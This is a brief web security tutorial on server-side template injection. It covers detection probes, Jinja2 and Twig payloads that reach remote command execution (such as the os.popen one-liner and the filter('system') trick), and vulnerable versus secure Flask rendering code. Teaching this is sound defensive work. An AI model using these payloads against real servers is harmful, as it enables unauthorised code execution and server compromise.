Key Takeaways

  • SSTI occurs when user input is evaluated as template code.
  • Can escalate from information disclosure to full RCE.
  • Each template engine has different exploitation syntax.
  • Prevention: Never pass raw user input to template functions.

Template engines like Jinja2, Twig, and Freemarker make web development easier—but when user input is directly rendered as a template, attackers can execute arbitrary code on the server.

Detection Probes

# Math-based detection (works on most engines)
{{7*7}}       # Returns 49 if vulnerable
${7*7}        # Alternative syntax
#{7*7}        # Ruby ERB style
<%= 7*7 %>    # ERB/EJS style

# Engine fingerprinting
{{7*'7'}}
# Jinja2: 7777777 (string multiplication)
# Twig: 49 (numeric)
# Neither: Error or literal

Jinja2 Exploitation (Python/Flask)

# Read config
{{ config.items() }}

# Access Python classes for RCE
{{ ''.__class__.__mro__[1].__subclasses__() }}

# Find subprocess.Popen and execute commands
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('id',shell=True,stdout=-1).communicate() }}

# One-liner RCE payload
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

Twig Exploitation (PHP)

# Information disclosure
{{ app.request.server.all|join(',') }}

# Execute system commands (if allowed)
{{ ['id']|filter('system') }}

# Older Twig versions
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}

Prevention

# VULNERABLE
return render_template_string(f"Hello {request.args.get('name')}")

# SECURE - Pass as context variable
return render_template_string("Hello {{ name }}", name=request.args.get('name'))

# BEST - Use pre-compiled templates
return render_template("hello.html", name=request.args.get('name'))

Frequently Asked Questions

How is SSTI different from XSS?
XSS executes in the client's browser, SSTI executes on the server. SSTI is far more dangerous as it can lead to full server compromise (RCE, file access).

Master injection attacks.
Command Injection Guide